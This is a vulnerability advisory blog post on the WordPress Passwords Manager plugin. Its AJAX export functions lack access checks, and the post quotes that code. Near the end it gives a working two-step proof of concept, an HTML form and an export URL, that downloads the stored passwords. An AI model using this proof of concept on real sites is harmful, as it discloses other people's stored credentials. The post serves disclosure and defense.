29 Apr 2022

WordPress Passwords Manager Plugin Exposes Stored Password to Anyone Logged in to WordPress

There is a WordPress plugin named Passwords Manager that can store passwords in WordPress:

Password Manager wordpress plugin let you to store different passwords at one place. Passwords are stored in WordPress database in encrypted form so no one can see them. Passwords can also be categorized if you have multiple passwords. This plugin uses advanced encryption standard AES – 128 and you can define your encryption key at the time of installation of plugin.

That seems like it isn’t the best idea. But it’s secure, right? No, as we found when looked into something in flagged by our proactive monitoring of changes made to plugins in WordPress’ Plugin Directory to try to catch serious vulnerabilities.

The plugin allows you to export its data. That involves a two-step process. Both steps are handled through AJAX accessible functions in the plugin. Those are registered so that anyone logged in to WordPress can access them:

2
add_action( 'wp_ajax_pwdms_export_detail_list','pwdms_export_detail_list' );
132
add_action( 'wp_ajax_pwdms_export_csv', 'pwdms_export');

Both of the functions, which are located in the file /include/admin-page/addon/csv-export/index.php, don’t limit what users can access them or have any other security checks:

3
4
5
6
7
8
9
10
11
12
13
14
15
16
function pwdms_export_detail_list(){
	global $wpdb;//add $wpdb
	$formdata = $_POST['from_data']['pwdms_document_title'];
	error_reporting( E_ERROR );
		if ( !session_id() ) {
			session_start();
		}
		$time_start = microtime( true );			
		ini_set( 'max_input_time', 3600 * 3 );
		ini_set( 'max_execution_time', 3600 * 3 );
		set_time_limit( 0 );
		$per_page = apply_filters( 'pwdms_csv_export_per_page_limit', 66 );
		$page = max( 1, $_POST['page_num'] );
		$category_id = $_POST['from_data']['pwdms_csv_category'];
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
function pwdms_export(){		
	if ( !session_id() ) {
		session_start();
	}
 
	if ( defined( 'pwdms_DEBUG' ) ) {
		error_reporting( E_ALL );
		ini_set( 'display_errors', 1 );
	} else {
		error_reporting( 0 );
	}		
 
	$array = $_SESSION['pwdms_csv_array'];
 
	if (count($array) == 0) {
		return null;
	}

As the proof of concept below confirms, anyone logged in to WordPress can use those to download the stored passwords.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will download all the stored passwords that are uncategorized, when logged in to WordPress.

The first step prepares for the download.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=pwdms_export_detail_list" method="POST">
<input type="hidden" name="from_data[pwdms_document_title]" value="Password Info" />
<input type="hidden" name="from_data[pwdms_csv_category]" value="1" />
<input type="hidden" name="from_data[col_pwdms_name]" value="on" />
<input type="hidden" name="from_data[col_pwdms_email]" value="on" />
<input type="hidden" name="from_data[col_pwdms_password]" value="on" />
<input type="submit" value="Submit" />
</form>
</body>

The second step causes the download to occur.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=pwdms_export_csv&document_title=Password%20Info

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.